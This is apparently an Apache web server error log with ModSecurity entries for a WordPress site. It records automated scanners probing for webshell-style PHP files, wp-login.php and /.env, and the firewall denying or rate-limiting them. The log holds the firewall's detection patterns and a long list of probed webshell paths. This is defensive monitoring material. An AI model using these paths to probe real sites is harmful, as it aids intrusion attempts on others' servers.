[Thu Apr 23 10:00:21.461827 2026] [:error] [pid 65000:tid 65044] [client 91.230.225.11:23931] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "ael9Nb6vRb9j6psK2ZYNnAAAAgs"]
[Thu Apr 23 10:00:22.381729 2026] [:error] [pid 64967:tid 64973] [client 185.192.71.32:39755] [client 185.192.71.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "ael9NoAV4GfOOdX8Qzo8oQAAAYQ"]
[Thu Apr 23 10:00:22.924901 2026] [:error] [pid 64998:tid 65014] [client 185.192.71.33:30901] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Thu Apr 23 10:00:23.218771 2026] [:error] [pid 64998:tid 65023] [client 185.192.71.33:30901] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "ael9N4V5EysYcTLjmwiNIgAAAdU"]
[Thu Apr 23 10:00:24.392562 2026] [:error] [pid 64998:tid 65007] [client 91.230.225.202:32469] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "ael9OIV5EysYcTLjmwiNPAAAAcU"]
[Thu Apr 23 10:00:24.948027 2026] [:error] [pid 64998:tid 65025] [client 185.192.71.29:55111] File does not exist: /usr/local/apache/htdocs/suspended-page/wsax.php
[Thu Apr 23 10:00:26.368920 2026] [:error] [pid 64998:tid 65008] [client 185.192.71.29:55111] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "ael9OoV5EysYcTLjmwiNgQAAAcY"]
[Thu Apr 23 10:00:27.190299 2026] [:error] [pid 43083:tid 43104] [client 91.230.225.200:41729] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "ael9OzC5hrvNXosL83IlAwAAANM"]
[Thu Apr 23 10:00:28.024319 2026] [:error] [pid 64998:tid 65015] [client 91.230.225.208:39123] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "ael9PIV5EysYcTLjmwiNswAAAc0"]
[Thu Apr 23 10:00:29.134965 2026] [:error] [pid 65000:tid 65057] [client 91.230.225.207:20827] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "ael9Pb6vRb9j6psK2ZYN-AAAAhg"]
[Thu Apr 23 10:00:32.015974 2026] [:error] [pid 42972:tid 43022] [client 91.230.225.12:59081] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "ael9QMOAb-3sOknsk4dQ1QAAAEY"]
[Thu Apr 23 10:00:32.583116 2026] [:error] [pid 46953:tid 46960] [client 91.230.225.201:57465] [client 91.230.225.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "ael9QEnlpdHh-P6wKbrNxgAAAkQ"]
[Thu Apr 23 10:00:33.948745 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.10:57935] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "ael9Qb6vRb9j6psK2ZYOHgAAAhA"]
[Thu Apr 23 10:00:34.516985 2026] [:error] [pid 65000:tid 65050] [client 91.230.225.15:27497] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ael9Qr6vRb9j6psK2ZYOIwAAAhE"]
[Thu Apr 23 10:00:35.683070 2026] [:error] [pid 64998:tid 65025] [client 185.192.71.33:36523] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "ael9Q4V5EysYcTLjmwiOJwAAAdc"]
[Thu Apr 23 10:00:36.235722 2026] [:error] [pid 43083:tid 43104] [client 91.230.225.16:42367] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "ael9RDC5hrvNXosL83IlYAAAANM"]
[Thu Apr 23 10:00:36.790513 2026] [:error] [pid 65000:tid 65056] [client 185.192.71.36:47145] [client 185.192.71.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.36, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "ael9RL6vRb9j6psK2ZYOQAAAAhc"]
[Thu Apr 23 10:00:36.795317 2026] [:error] [pid 65000:tid 65056] [client 185.192.71.36:47145] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Thu Apr 23 10:00:37.079447 2026] [:error] [pid 65000:tid 65039] [client 185.192.71.36:47145] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "ael9Rb6vRb9j6psK2ZYORwAAAgY"]
[Thu Apr 23 10:00:38.125690 2026] [:error] [pid 64998:tid 65007] [client 91.230.225.200:35169] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Thu Apr 23 10:00:38.411253 2026] [:error] [pid 64998:tid 65002] [client 91.230.225.200:35169] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ael9RoV5EysYcTLjmwiOQgAAAcA"]
[Thu Apr 23 10:00:38.951672 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.209:36013] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "ael9Rr6vRb9j6psK2ZYOaAAAAhA"]
[Thu Apr 23 10:00:39.503914 2026] [:error] [pid 42973:tid 43048] [client 185.192.71.31:48393] File does not exist: /usr/local/apache/htdocs/suspended-page/page.php
[Thu Apr 23 10:00:41.537436 2026] [:error] [pid 42973:tid 43061] [client 185.192.71.31:48393] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "ael9SW6I0QqmmmLTHE3-TgAAAJI"]
[Thu Apr 23 10:00:42.086748 2026] [:error] [pid 42973:tid 43065] [client 185.92.25.113:52817] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "ael9Sm6I0QqmmmLTHE3-UAAAAJY"]
[Thu Apr 23 10:00:43.177542 2026] [:error] [pid 42973:tid 43057] [client 185.192.71.36:26789] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "ael9S26I0QqmmmLTHE3-VgAAAI4"]
[Thu Apr 23 10:00:43.725404 2026] [:error] [pid 42972:tid 43024] [client 185.192.71.34:65423] [client 185.192.71.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "ael9S8OAb-3sOknsk4dQ6gAAAEg"]
[Thu Apr 23 10:00:44.328775 2026] [:error] [pid 42973:tid 43055] [client 185.192.71.30:62623] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Thu Apr 23 10:00:44.619502 2026] [:error] [pid 42973:tid 43045] [client 185.192.71.30:62623] [client 185.192.71.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.30, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "ael9TG6I0QqmmmLTHE3-aQAAAII"]
[Thu Apr 23 10:00:45.220117 2026] [:error] [pid 42973:tid 43044] [client 185.192.71.30:62623] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "ael9TW6I0QqmmmLTHE3-cQAAAIE"]
[Thu Apr 23 10:00:46.600588 2026] [:error] [pid 64998:tid 65017] [client 91.230.225.21:58513] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "ael9ToV5EysYcTLjmwiOlQAAAc8"]
[Thu Apr 23 10:00:47.151965 2026] [:error] [pid 43083:tid 43086] [client 185.192.71.31:30021] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Thu Apr 23 10:00:47.433460 2026] [:error] [pid 43083:tid 43087] [client 185.192.71.31:30021] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "ael9TzC5hrvNXosL83IlsQAAAMI"]
[Thu Apr 23 10:00:47.979570 2026] [:error] [pid 59700:tid 59711] [client 185.192.71.36:38771] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "ael9T5XyGZJFeAIDWtmgfgAAAUk"]
[Thu Apr 23 10:00:48.550517 2026] [:error] [pid 42973:tid 43049] [client 185.92.25.114:56543] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Thu Apr 23 10:00:49.419464 2026] [:error] [pid 42973:tid 43064] [client 185.92.25.114:56543] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "ael9UW6I0QqmmmLTHE3-mQAAAJU"]
[Thu Apr 23 10:00:50.541716 2026] [:error] [pid 46953:tid 46980] [client 185.192.71.21:29553] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "ael9UknlpdHh-P6wKbrORgAAAlc"]
[Thu Apr 23 10:00:51.123004 2026] [:error] [pid 65000:tid 65046] [client 185.192.71.37:34273] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Thu Apr 23 10:00:51.694725 2026] [:error] [pid 65000:tid 65040] [client 185.192.71.37:34273] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Thu Apr 23 10:00:52.261153 2026] [:error] [pid 65000:tid 65052] [client 185.192.71.37:34273] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "ael9VL6vRb9j6psK2ZYO2gAAAhM"]
[Thu Apr 23 10:00:52.830825 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.22:27847] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "ael9VG6I0QqmmmLTHE3-yQAAAIA"]
[Thu Apr 23 10:00:53.680430 2026] [:error] [pid 65000:tid 65030] [client 91.230.225.15:57389] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/count.php"] [unique_id "ael9Vb6vRb9j6psK2ZYO7gAAAgE"]
[Thu Apr 23 10:00:54.229533 2026] [:error] [pid 42973:tid 43051] [client 185.192.71.26:35475] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-error_log.php
[Thu Apr 23 10:00:55.902775 2026] [:error] [pid 42973:tid 43053] [client 185.192.71.26:35475] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "ael9V26I0QqmmmLTHE3_BgAAAIo"]
[Thu Apr 23 10:00:57.383643 2026] [:error] [pid 46953:tid 46957] [client 91.230.225.23:44987] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "windfarmcoolants.com.au"] [uri "/images/stories/themes.php"] [unique_id "ael9WUnlpdHh-P6wKbrOjQAAAkE"]
[Thu Apr 23 10:00:57.657449 2026] [:error] [pid 46953:tid 46960] [client 91.230.225.23:44987] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "ael9WUnlpdHh-P6wKbrOkAAAAkQ"]
[Thu Apr 23 10:00:59.287677 2026] [:error] [pid 43083:tid 43104] [client 185.192.71.33:60851] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "ael9WzC5hrvNXosL83Il7gAAANM"]
[Thu Apr 23 10:01:00.170726 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.23:56727] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "ael9XIV5EysYcTLjmwiPBwAAAcY"]
[Thu Apr 23 10:01:01.734883 2026] [:error] [pid 42973:tid 43046] [client 185.192.71.37:33079] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Thu Apr 23 10:01:04.468554 2026] [:error] [pid 42973:tid 43055] [client 185.192.71.37:33079] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "ael9YG6I0QqmmmLTHE3_WwAAAIw"]
[Thu Apr 23 10:01:06.900971 2026] [:error] [pid 43083:tid 43086] [client 91.230.225.209:36355] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "ael9YjC5hrvNXosL83ImLQAAAME"]
[Thu Apr 23 10:01:07.728611 2026] [:error] [pid 46953:tid 46980] [client 91.230.225.22:29467] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "ael9Y0nlpdHh-P6wKbrO5gAAAlc"]
[Thu Apr 23 10:01:50.949166 2026] [autoindex:error] [pid 43083:tid 43085] [client 185.192.71.37:42001] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 17:46:08.019454 2026] [:error] [pid 59700:tid 59708] [client 160.30.179.124:42490] [client 160.30.179.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aenqYJXyGZJFeAIDWtn5nQAAAUY"]
[Thu Apr 23 23:51:12.843821 2026] [autoindex:error] [pid 59700:tid 59712] [client 173.239.218.24:44815] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 01:48:55.431749 2026] [:error] [pid 25635:tid 25644] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Fri Apr 24 01:48:55.726816 2026] [:error] [pid 25635:tid 25649] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Fri Apr 24 01:48:55.986881 2026] [:error] [pid 25635:tid 25661] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Fri Apr 24 01:48:56.248556 2026] [:error] [pid 25635:tid 25646] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Fri Apr 24 01:48:56.507471 2026] [:error] [pid 25635:tid 25657] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/zoko.php
[Fri Apr 24 01:48:56.767592 2026] [:error] [pid 25635:tid 25654] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/solo1.php
[Fri Apr 24 01:48:57.029308 2026] [:error] [pid 25635:tid 25659] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/locales.php
[Fri Apr 24 01:48:57.291521 2026] [:error] [pid 25635:tid 25650] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Fri Apr 24 01:48:57.551852 2026] [:error] [pid 25635:tid 25660] [client 74.248.129.192:65237] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Fri Apr 24 01:48:58.067512 2026] [:error] [pid 25635:tid 25663] [client 74.248.129.192:65237] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepbisRxv6UsgRGKB3JRZQAAARg"]
[Fri Apr 24 01:48:58.646063 2026] [:error] [pid 64967:tid 64983] [client 74.248.129.192:64930] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepbioAV4GfOOdX8QzqYxwAAAY4"]
[Fri Apr 24 01:48:59.227185 2026] [:error] [pid 64967:tid 64991] [client 74.248.129.192:64888] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepbi4AV4GfOOdX8QzqYyQAAAZY"]
